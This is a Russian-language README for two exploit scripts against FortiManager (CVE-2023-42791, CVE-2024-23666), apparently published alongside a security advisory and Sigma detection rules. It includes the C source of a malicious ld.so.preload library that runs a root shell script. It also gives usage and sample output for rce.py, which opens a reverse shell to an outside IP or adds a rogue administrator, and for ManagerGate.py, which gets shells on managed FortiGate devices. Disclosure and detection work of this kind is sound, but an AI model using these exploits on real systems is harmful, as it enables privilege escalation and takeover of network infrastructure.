
Скрипты эксплуатации для CVE-2023-42791 и CVE-2024-23666.
Предоставлены два эксплойт-скрипта, использующих эти уязвимости:
rce.py: Обеспечивает обратную оболочку или добавляет произвольного администратора из непривилегированного доступа к FortiManager.ManagerGate.py: Позволяет подключаться к удаленным управляемым SSH-сервисам FortiGate. Пароли SSH по-прежнему необходимы, но их можно найти в резервной копии конфигурации FortiManager.Более подробную информацию см. в соответствующем уведомлении по адресу https://www.synacktiv.com/advisories/advisories/fortimanager-multiple-vulnerabilities
Скомпилируйте вредоносную библиотеку, которая запустит /rce.sh:
$ cat rce.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
if (getuid() != 0) return 0;
unlink("/etc/ld.so.preload");
if (fork() == 0) {
setgid(0);
setuid(0);
system("/bin/bash /rce.sh");
}
return 0;
}
$ gcc -fPIC -shared -o rce.so rce.c -nostartfiles
Использование:
$ python3 rce.py -h
usage: rce.py [-h] [-k] [-l LIBRARY] connection {revshell,adduser} ...
positional arguments:
connection Пользователь, пароль и хост (user:password@host)
options:
-h, --help показать это справочное сообщение и выйти
-k, --insecure Не проверять сертификат удаленного хоста (по умолчанию: False)
-l LIBRARY, --library LIBRARY
Путь к вредоносной библиотеке (по умолчанию: /tmp/rce.so)
Действие для запуска:
{revshell,adduser}
revshell Запустить обратную оболочку Python
adduser Создать нового администратора
Чтобы получить обратную оболочку:
$ python3 rce.py -k -l ./rce.so lowpriv:[email protected] revshell 10.10.10.100 1234
[+] Вход в FortiManager
[+] Загрузка /rce.sh
[+] Загрузка /rce.so
[+] Загрузка /etc/ld.so.preload
[+] Выход из FortiManager для запуска RCE
Чтобы добавить нового администратора в FortiManager:
$ python3 rce.py -k -l ./rce.so lowpriv:[email protected] adduser malicious_adm password
[+] Вход в FortiManager
[+] Загрузка /create_user.txt
[+] Загрузка /rce.sh
[+] Загрузка /rce.so
[+] Загрузка /etc/ld.so.preload
[+] Выход из FortiManager для запуска RCE
$ python3 ManagerGate.py -h
usage: ManagerGate.py [-h] -H HOST -u USER -p PASSWORD [-d DEVICEID] [-i TUNNELIP] [-l] [-x PROXY] -U GU [-v VERBOSE]
получить оболочку на fortigate
options:
-h, --help показать это справочное сообщение и выйти
-H HOST, --host HOST хост FortiManager
-u USER, --user USER пользователь для подключения к FortiManager
-p PASSWORD, --password PASSWORD
пароль для подключения к FortiManager
-d DEVICEID, --deviceid DEVICEID
идентификатор устройства для получения оболочки
-i TUNNELIP, --tunnelip TUNNELIP
туннельный IP-адрес FortiGate
-l, --local локальное подключение к FortiManager
-x PROXY, --proxy PROXY
прокси-запрос
-U GU, --gu GU пользователь для подключения к FortiGate
-v VERBOSE, --verbose VERBOSE
Пример
$ python3 ManagerGate.py -H 10.0.0.1 -u ReadOnlyUser -p MyPassword123 -d 1011 -i 169.254.0.2 -U root
Идентификатор устройства и туннельный IP целевых FortiGate можно найти в графическом интерфейсе FortiManager.
Правила обнаружения Sigma, направленные на выявление использования этих эксплойт-скриптов, доступны в репозитории правил Synacktiv: https://github.com/synacktiv/synacktiv-rules/tree/main/2025/fortimanager